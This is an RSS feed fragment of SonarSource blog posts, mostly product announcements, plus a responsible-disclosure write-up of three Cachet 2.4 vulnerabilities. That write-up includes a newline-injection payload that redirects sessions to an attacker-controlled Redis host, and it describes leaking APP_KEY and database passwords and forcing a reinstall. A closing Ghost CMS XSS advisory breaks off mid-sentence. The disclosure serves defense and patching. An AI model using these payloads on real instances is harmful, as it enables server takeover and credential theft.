do.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, when dealing with sensitive data, such as passwords, we may feel that removing them from memory as soon as possible is a good idea - and it is! But if we use memset to do this (and don’t otherwise access that memory before it is released) the compiler is allowed to (and very often will) assume that it has no effect and remove it!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6b99186e-c289-4565-95be-e747616ce2fe/body-82720d7e-8541-489b-b6be-c2174db708c8_image5.png&quot; /&gt;&lt;p&gt;For this reason, memset_s was introduced (in annex K of the C standard, so you may have to opt in for it) to perform this role as expected. But knowing about all of this, or spotting it in existing code, is hard!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-5798&quot;&gt;S5798&lt;/a&gt; detects this usage and gives us all of that background information in the rule description (including how to enable memset_s). Very useful!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And while we’re talking about security, we even have something to say about the strength of encryption algorithms we might use.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We detect many outdated or otherwise weak algorithms being used from several commonly used security and cryptography libraries, including &lt;a href=&quot;https://github.com/openssl/openssl&quot;&gt;OpenSSL&lt;/a&gt;, &lt;a href=&quot;https://software.opensuse.org/package/libcryptopp&quot;&gt;crypto++&lt;/a&gt; and &lt;a href=&quot;https://github.com/randombit/botan&quot;&gt;Botan&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, use of algorithms with less than 128 bit block sizes will trigger vulnerability warnings. The description for rule &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-5547&quot;&gt;S5547&lt;/a&gt; recommends what to use instead.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6cd38d08-fd9e-4986-ba60-99338ba7fbe0/body-b0658eeb-1444-402a-8cec-bffdb8426e52_image6.png&quot; /&gt;&lt;p&gt;When it comes to security features, especially things like algorithm and block size, these recommendations change over time - so it’s very useful to be able to run these over existing code as well as new code.&lt;/p&gt;&lt;h2&gt;A naturally great pairing&lt;/h2&gt;&lt;p&gt;They say the best camera is the one you have with you. Perhaps that is true of static analysis tools, too. A substantial fraction of developers never look beyond what comes built into their IDE. For them, CLion’s inspections, and the bundled clang-tidy checks, are a great step forward. The way CLion surfaces this information right alongside your code, usually as you write it, makes it more accessible and useful than it’s ever been. So enhancing that with the rich ruleset and insightful rule descriptions of SonarLint is the natural and logical next step.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;CLion naturally enhances SonarLint, too, in many ways - such as seamlessly running analysis even when developing with remote toolchains. And SonarLint takes things even further when running in &lt;a href=&quot;https://www.sonarlint.org/bring-your-team-on-board#normative&quot;&gt;&lt;em&gt;connected mode&lt;/em&gt;&lt;/a&gt; with &lt;a href=&quot;https://www.sonarqube.org&quot;&gt;SonarQube&lt;/a&gt; or &lt;a href=&quot;https://sonarcloud.io&quot;&gt;SonarCloud&lt;/a&gt; - enabling &lt;a href=&quot;https://sonarcloud.io/documentation/improving/quality-gates/&quot;&gt;quality gates&lt;/a&gt;, &lt;a href=&quot;https://sonarcloud.io/documentation/improving/clean-as-you-code/&quot;&gt;clean-as-you-code&lt;/a&gt;, &lt;a href=&quot;https://sonarcloud.io/documentation/improving/pull-requests/&quot;&gt;pull-request gates&lt;/a&gt; and much more - all with a browser-based dashboard for all your reporting.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So why not&lt;a href=&quot;https://www.sonarlint.org/clion/&quot;&gt; try it for yourself&lt;/a&gt; and take the quality of your code to the next level, today?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Modernize Code Quality with ‘Quick Fixes’]]></title><description><![CDATA[Boost your productivity by automatically applying fixes to repair code quality issues in your IDE with SonarLint.]]></description><link>https://www.sonarsource.com/blog/sonarlint-quick-fixes</link><guid isPermaLink="false">dc0a039a-663d-5cac-9c3d-85fa7e48c153</guid><dc:creator><![CDATA[Kirti Joshi]]></dc:creator><pubDate>Thu, 23 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Delivering functional code that is reliable, safe, and on schedule is a high priority for most development teams. And you’ll agree that the earlier in your workflow you address quality and security issues, the better (and cheaper!). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Today, I’d like to give you a quick tour of how you can maximize your efficiency and modernize your approach for delivering quality code with &lt;strong&gt;&lt;em&gt;SonarLint’s ‘Quick Fix’ feature&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For those who aren’t familiar with &lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint&lt;/a&gt;, it’s a free and open source IDE plugin that intelligently detects and helps you fix coding flaws as you write code. The extension supports your favorite IDE and programming language. &lt;/p&gt;&lt;h2&gt;Save time, increase efficiency&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Have you come across a scenario where it took you multiple cycles to unravel a non-trivial bug and devise a solution to fix it? We all have. On numerous occasions.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a tool flags an issue in your code, you hope to get guidance on why the issue is problematic. Expert devs may be able to quickly craft a solution with even limited information and move on. But the vast majority of developers gain many educational benefits through more thorough contextual guidance and examples to address those problems. A good tool not only tells you what’s wrong and why, but also provides a clear explanation of what problems it may cause and how to fix them. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The new quick-fix feature in SonarLint boosts your coding efficiency. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By providing automated fixes that are adapted to your code, the tool helps you repair your coding flaws in real-time –– saving you time and effort by crafting a specific solution for your issue. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By hovering over a highlighted problem or using the IDE configured shortcuts, you’ll be able to understand the issue, review the suggestions and instantly ‘apply’ the quick fix. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Get a preview of this feature in action and then try it on your own &lt;a href=&quot;https://www.sonarlint.org/intellij/&quot;&gt;Java code in IntelliJ IDEA&lt;/a&gt; (additional IDEs and languages to follow!)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/nn3OyFsEPQE&quot;&gt;Modernize Code Quality with Quick-Fixes | SonarLint&lt;/a&gt;&lt;/p&gt;&lt;p&gt;We hope you enjoy this efficient way of addressing your coding issues 🚀. J&lt;a href=&quot;https://community.sonarsource.com/tag/sonarlint&quot;&gt;oin us in the community &lt;/a&gt;to leave us your suggestions or feedback! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Cachet 2.4: Code Execution via Laravel Configuration Injection]]></title><description><![CDATA[We responsibly disclosed three vulnerabilities in the open-source status page Cachet, allowing attackers to take over instances. Here are all the details!]]></description><link>https://www.sonarsource.com/blog/cachet-code-execution-via-laravel-configuration-injection</link><guid isPermaLink="false">2a119de5-82b9-5b8a-bab4-14f4c801d1c1</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 21 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Status pages are now an essential service offered by all Software-as-a-Service companies (&lt;a href=&quot;https://sonarcloud.statuspage.io/&quot;&gt;we do it too&lt;/a&gt;!). To help their adoption, startups quickly conceived status pages as-a-service, and open-source self-hosted alternatives were made available. &lt;a href=&quot;https://github.com/cachethq/Cachet&quot;&gt;Cachet&lt;/a&gt;, also sometimes referred to as CachetHQ, is a broadly adopted status page system written in PHP and has many community forks such as &lt;a href=&quot;https://github.com/fiveai/Cachet&quot;&gt;fiveai/Cachet&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Compromising Cachet instances is rewarding for attackers, as they store secrets for various services such as caches, databases, email servers, etc. This initial foothold in the infrastructure is helpful for them to pivot into the internal network of the affected company and to perform further attacks. In this article, we present the technical analysis of three security bugs we discovered in Cachet 2.4. They can enable attackers to compromise the server. &lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The exploitation of these vulnerabilities was verified on the last official release of Cachet at the time (2.3.18), as well as on the development branch (2.4). An attacker aspiring to exploit these vulnerabilities requires a valid user account with basic privileges, a scenario that can realistically be leveraged by:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Using credentials stuffing, thanks to the considerable amount of accounts leaked every year;&lt;/li&gt;&lt;li&gt;A compromised or malicious user;&lt;/li&gt;&lt;li&gt;The presence of a Cross-Site Scripting vulnerability on the same perimeter;&lt;/li&gt;&lt;li&gt;The exploitation of CVE-2021-39165, a pre-authenticated SQL injection in Cachet fixed in January 2021.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The first vulnerability (CVE-2021-39172) we describe is a newline injection that happens when users update an instance&amp;#x27;s configuration, such as the email settings. It allows attackers to inject new directives and to alter the behavior of core features, ultimately leading to the execution of arbitrary code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following video shows the exploitation of this vulnerability. For demonstration purposes, several steps are performed manually, but they could be automated by attackers:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/WH5Q1w90hM8&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second one (CVE-2021-39174) is also related to this feature and allows the attacker to exfiltrate secrets that are stored in the configuration file, e.g. SMTP server password, the application encryption key, etc. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, the last bug (CVE-2021-39173) is much simpler and allows going through the setup process even if the instance is already fully configured. That way, attackers can trick the Cachet instance into using an arbitrary database under their control, ultimately leading to arbitrary code execution. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Patches for these three vulnerabilities are available in &lt;a href=&quot;https://github.com/fiveai/Cachet/releases/tag/v2.5.1&quot;&gt;release 2.5.1&lt;/a&gt; of the FiveAI fork. &lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we describe the technical details of each vulnerability and the way they were mitigated in the latest release of the community fork.&lt;/p&gt;&lt;h3&gt;CVE-2021-39172 - Remote Code Execution&lt;/h3&gt;&lt;p&gt;The dashboard of Cachet exposes several configuration views (even to non-administrator users) to change the instance name, mail server settings, etc. Application-level persistent settings are saved in the database, and other framework-level values are directly saved in the application&amp;#x27;s configuration file. The Laravel framework uses &lt;em&gt;dotenv &lt;/em&gt;configuration files, a format similar to how you would declare environment variables in a shell script, and their support is implemented in the third-party library &lt;a href=&quot;https://github.com/vlucas/phpdotenv&quot;&gt;vlucas/phpdotenv&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When changing the email provider settings, the controller instantiates an object of the class &lt;code&gt;UpdateConfigCommand&lt;/code&gt;. Laravel Commands, in the context of the Command Bus, are a way to remove application-specific logic from controllers; they will be synchronously executed upon an &lt;code&gt;execute()&lt;/code&gt; call on the object. This is what happens at &lt;code&gt;[1]&lt;/code&gt;: &lt;/p&gt;&lt;p&gt;&lt;strong&gt;app/Http/Controllers/Dashboard/SettingsController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function postMail()
{
    $config = Binput::get(&apos;config&apos;);
    execute(new UpdateConfigCommand($config));            // [1]
    return cachet_redirect(&apos;dashboard.settings.mail&apos;)
        -&gt;withInput(Binput::all())
        -&gt;withSuccess(trans(&apos;dashboard.notifications.awesome&apos;));
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The associated handler, &lt;code&gt;UpdateConfigCommandHandler&lt;/code&gt;, is responsible for performing changes in the existing &lt;em&gt;dotenv&lt;/em&gt; file, by replacing existing entries with new ones.&lt;/p&gt;&lt;p&gt;&lt;code&gt;UpdateConfigCommandHandler&lt;/code&gt; can be triggered by code at two different locations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;SetupController@postStep3&lt;/code&gt;, the last step of the setup process. Once the instance is installed, this code path can’t be reached anymore;&lt;/li&gt;&lt;li&gt;&lt;code&gt;SettingsController@postMail&lt;/code&gt;, when updating the &lt;em&gt;dotenv&lt;/em&gt; entries related to email servers.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It will first evaluate the full configuration file to populate the process environment (&lt;code&gt;[1]&lt;/code&gt;), identify if the directive to update is already defined (&lt;code&gt;[2]&lt;/code&gt;) and then replaced the entry with its new value (&lt;code&gt;[3]&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;strong&gt;app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class UpdateConfigCommandHandler
{
    // [...]
    public function handle(UpdateConfigCommand $command)
   {
       foreach ($command-&gt;values as $setting =&gt; $value) {
           $this-&gt;writeEnv($setting, $value);
       }
   }
   // [...]
   protected function writeEnv($key, $value)
   {
       $dir = app()-&gt;environmentPath();
       $file = app()-&gt;environmentFile();
       $path = &quot;{$dir}/{$file}&quot;;
 
       try {
           (new Dotenv($dir, $file))-&gt;load();       // [1]   
 
           $envKey = strtoupper($key);
           $envValue = env($envKey) ?: &apos;null&apos;;      // [2]
 
           file_put_contents($path, str_replace(    // [3]
               &quot;{$envKey}={$envValue}&quot;,            
               &quot;{$envKey}={$value}&quot;,
               file_get_contents($path)          
           ));
       } catch (InvalidPathException $e) {
           throw $e;
       }
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;No validation is performed on the incoming data: as long as the configuration entry already exists, it will be replaced with a value coming from the parameter. If an attacker provides a value containing new lines, it will create new entries in the &lt;em&gt;dotenv&lt;/em&gt; file and may alter framework-level functionalities. It is worth noting that only the first definition of a variable in a &lt;em&gt;dotenv&lt;/em&gt; file will be used, subsequent ones will be ignored. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On Laravel projects, this primitive is enough to gain arbitrary code execution. The initial &lt;em&gt;dotenv&lt;/em&gt; configuration file will probably look like this on most instances:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;.env&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers could replace the &lt;code&gt;CACHE_DRIVER&lt;/code&gt; key and register a Redis server under their control as new session backend:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After sending a request that sets &lt;code&gt;CACHE_DRIVER&lt;/code&gt; to this value, the &lt;em&gt;dotenv&lt;/em&gt; file will look like this&lt;/p&gt;&lt;p&gt;&lt;strong&gt;.env&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because Laravel sessions are serialized using PHP’s native format, they are parsed with the function &lt;code&gt;unserialize()&lt;/code&gt;. This is a known weakness that can be leveraged into the execution of arbitrary code by using a sequence of specially-crafted objects, a concept named “popchains”. The tool  &lt;a href=&quot;https://github.com/ambionics/phpggc&quot;&gt;PHPGGC&lt;/a&gt; can generate such chains for Laravel projects. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Other ways to leverage command execution from a new line injection in a &lt;em&gt;dotenv&lt;/em&gt; file may exist, but we did not pursue more research in this direction. We are curious to know if you’re aware of other techniques, though!&lt;/p&gt;&lt;h3&gt;CVE-2021-39174 - Configuration Leak&lt;/h3&gt;&lt;p&gt;As we described in the previous section, one can have direct read and write control over values stored in the &lt;em&gt;dotenv&lt;/em&gt; file. Writing to this file ultimately leads to arbitrary code execution, but can it also be taken advantage of the fact that values of this file are displayed in the interface?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The documentation of vlucas/phpdotenv describes that it supports &lt;a href=&quot;https://github.com/vlucas/phpdotenv#nesting-variables&quot;&gt;nested variables assignment&lt;/a&gt;: when declaring a variable, you can reference a previously declared one with the syntax &lt;code&gt;${NAME}&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This feature is convenient: by referencing another variable in an entry of the &lt;em&gt;dotenv&lt;/em&gt; configuration file and displaying this entry in the interface, it reveals another&amp;#x27;s variable value. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is already &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/laravel_token_unserialize_exec.rb&quot;&gt;widely&lt;/a&gt; &lt;a href=&quot;https://blog.truesec.com/2020/02/12/from-s3-bucket-to-laravel-unserialize-rce/&quot;&gt;documented&lt;/a&gt; that leaking &lt;code&gt;APP_KEY&lt;/code&gt; leads to code execution if the session driver is set to cookie, and this primitive can also be used to leak &lt;code&gt;DB_PASSWORD&lt;/code&gt; and &lt;code&gt;MAIL_PASSWORD&lt;/code&gt; to perform further attacks. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6aeecf13-73ab-40d3-b58f-130227a11f5e/body-5bf944be-1691-45af-b4bb-1f81e12a1537_Blogpost%2BCachet%2BFinding%2B2.png&quot; /&gt;&lt;h3&gt;CVE-2021-39173 - Forced Reinstall&lt;/h3&gt;&lt;p&gt;The setup page cannot be accessed if the instance is already installed, as implemented in the middleware &lt;code&gt;SetupAlreadyCompleted&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;app/Http/Middleware/SetupAlreadyCompleted.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class SetupAlreadyCompleted
{
   // [...]
   public function handle(Request $request, Closure $next)
   {
       try {
           if ($this-&gt;settings-&gt;get(&apos;app_name&apos;)) {
               return cachet_redirect(&apos;dashboard&apos;);
           }
       } catch (ReadException $e) {
           // not setup then!
       }
 
       return $next($request);
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The check is solely based on the value of the setting app_name: if not defined or empty, the middleware will consider that the instance is installed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In case you’re wondering what else can evaluate to false, here is a quick primer on PHP’s typing system during comparisons until PHP 8. Comparison can be performed using an equality check (==) or an identity check (===). Equality checks imply that the type of the operands is not accounted for and that strings can be cast to numbers beforehand. This behavior has been named “type juggling” and has been exploited in various real-life vulnerabilities (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2017-1001000&quot;&gt;CVE-2017-1001000&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-10231&quot;&gt;CVE-2019-10231&lt;/a&gt;). In the case of the comparison above, any value equal to an empty string or 0 will evaluate to false and give access to the setup pages.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The value of &lt;code&gt;app_name&lt;/code&gt; is not validated during settings’ update in &lt;code&gt;SettingsController@postSettings&lt;/code&gt;, at &lt;code&gt;[1]&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;app/Http/Controllers/Dashboard/SettingsController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class SettingsController extends Controller
{
   // [...]
   public function postSettings()
   {
       $setting = app(Repository::class);
       // [...]
       $parameters = Binput::all();
       // [...]
       $excludedParams = [
           &apos;_token&apos;,
           &apos;app_banner&apos;,
           &apos;remove_banner&apos;,
           &apos;header&apos;,
           &apos;footer&apos;,
           &apos;stylesheet&apos;,
       ];
 
       try {
           foreach (Binput::except($excludedParams) as $settingName =&gt; $settingValue) {
               if ($settingName === &apos;app_analytics_pi_url&apos;) {
                        $settingValue = rtrim($settingValue, &apos;/&apos;);
               }
               $setting-&gt;set($settingName, $settingValue); // &lt;-- [1]
// [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Therefore, an authenticated user can update it to a value evaluating to false and then access /setup again to re-install the instance with a new administrator account (elevation of privileges) or to exploit our first finding and gain code execution (remember, &lt;code&gt;UpdateConfigCommandHandler&lt;/code&gt; can also be exploited from this code path!).&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The new line injection vulnerability (CVE-2021-39172) was addressed by improving the validation of incoming values in &lt;code&gt;UpdateConfigCommandHandler&lt;/code&gt;, &lt;a href=&quot;https://github.com/fiveai/Cachet/commit/6442976c25930cb370c65a22784b9caee7ed1de2#diff-eb49382226800036f840983b448fee50b5167e6ccba0a08a7d95e3f8a3288d44R105-R106&quot;&gt;rejecting any modification containing newline characters&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The configuration leak bug (CVE-2021-39174) was more complex to patch, as the latest version of the &lt;em&gt;dotenv&lt;/em&gt; library could not be imported due to the existing dependencies. Instead, &lt;a href=&quot;https://github.com/fiveai/Cachet/commit/6442976c25930cb370c65a22784b9caee7ed1de2#diff-eb49382226800036f840983b448fee50b5167e6ccba0a08a7d95e3f8a3288d44R75-R92&quot;&gt;relevant code was ported&lt;/a&gt; to allow the command handler to identify if a value contains a nested variable. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, it is not possible to force a re-installation of existing instances (CVE-2021-39173) &lt;a href=&quot;https://github.com/fiveai/Cachet/commit/ee7781e63f43d3bb3db56b74794c440fba2255ef&quot;&gt;thanks to improved checks in the impacted middleware&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-03-26&lt;/td&gt;&lt;td&gt;Issues reported by email to the official security disclosure address of the upstream project&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-06-25&lt;/td&gt;&lt;td&gt;We send the security issues and patches to the community-supported fork (fiveai/Cachet)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-27&lt;/td&gt;&lt;td&gt;Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we analyzed three vulnerabilities in Cachet and demonstrated the ability to take over instances with only basic user permissions using Laravel configuration files. We also described the patches applied by the maintainers and how they prevent the attacks we presented. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the maintainers of the FiveAI fork of Cachet for acknowledging our advisory and fixing these vulnerabilities in a timely and professional manner.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Product portals open: we want your input]]></title><description><![CDATA[We've recently opened up product portals on Productboard. You'll find them for SonarQube, SonarCloud, and SonarLint. Each one shows the features we're currently working on, the ones we've released recently, and the ones we're planning. ]]></description><link>https://www.sonarsource.com/blog/product-portals-open-we-want-your-input</link><guid isPermaLink="false">65408bd9-db42-5b16-82e8-791321c04bae</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Tue, 14 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sonar was born from open source software and most of what we do remains FLOSS, so openness and transparency have always been fundamental principles. With a recent change in how we approach product management, we&amp;#x27;ve gone even further.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We&amp;#x27;ve recently opened up product portals on Productboard. You&amp;#x27;ll find them for &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/roadmap/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/roadmap/&quot;&gt;SonarCloud&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/roadmap/&quot;&gt;SonarLint&lt;/a&gt;. Each one shows the features we&amp;#x27;re currently working on, the ones we&amp;#x27;ve released recently and the ones we&amp;#x27;re planning. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For each product you&amp;#x27;ll see also one more tab: Under Consideration. This is the tab that holds the features we&amp;#x27;re considering for each product, but aren&amp;#x27;t sure about yet. For some, we&amp;#x27;ve decided we&amp;#x27;ll do some work in that area, but not what the details should be. For others, we&amp;#x27;re not even sure whether to do any work. For those, we need your input. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Click on any portal card and at the bottom you&amp;#x27;ll see three voting options: Nice-to-have, Important, Critical. Once you&amp;#x27;ve voted, you&amp;#x27;ll have a chance to give us details. And we need those details to help us shape what we&amp;#x27;ll build. We &lt;em&gt;will&lt;/em&gt; be reading your comments on Under Consideration features. So please, vote, and share your use cases with us. We want your help.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Ghost CMS 4.3.2 - Cross-Origin Admin Takeover]]></title><description><![CDATA[We recently discovered an XSS vulnerability in the admin frontend of Ghost CMS 4.3.2. Find out the details and learn how to avoid such issues in your code!]]></description><link>https://www.sonarsource.com/blog/ghost-admin-takeover</link><guid isPermaLink="false">bb5dbaf9-ada5-5082-925a-0845aeb761c6</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 31 Aug 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ghost is one of the most popular Node.js-based Content Management Systems (CMS). According to the vendor, there are currently more than 2.5 million installs of it and the project has more than 38k stars on GitHub. During our research on open-source applications, we analyzed the code and found a vulnerability in Ghost 4.3.2 that allows attackers to gain control of admin accounts.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we will first look at some web technologies that are required to understand the vulnerability. Then we will show the vulnerability and how it could have been exploited by attackers. Finally, we will explain how to avoid or fix such issues during development.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The code vulnerability, CVE-2021-29484, was introduced in Ghost 4.0.0 and fixed in version 4.3.3. It is a DOM-based Cross-Site Scripting (XSS) issue that allows attackers to take over accounts, including admins. This would allow them to read or modify any data on the site.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Exploiting this vulnerability requires the victim to visit a malicious link while being logged in to the Ghost admin area. The affected versions of Ghost are vulnerable in the default configuration, and there is no setting to disable the affected component.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following video demonstrates the exploitation of the vulnerability by having an admin click on a malicious link that creates a new privileged account for the attacker without the victim noticing it:&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/qBHYq2q72jY&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We will first explain the web technologies that are important to understand this vulnerability: Same-Origin Policy and Cross-Origin messaging. Then we explain how the vulnerability works and how to avoid such issues during development.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a website embeds another website using an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; element, some rules control how both sites can interact with each other. This set of rules is called the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;Same-Origin 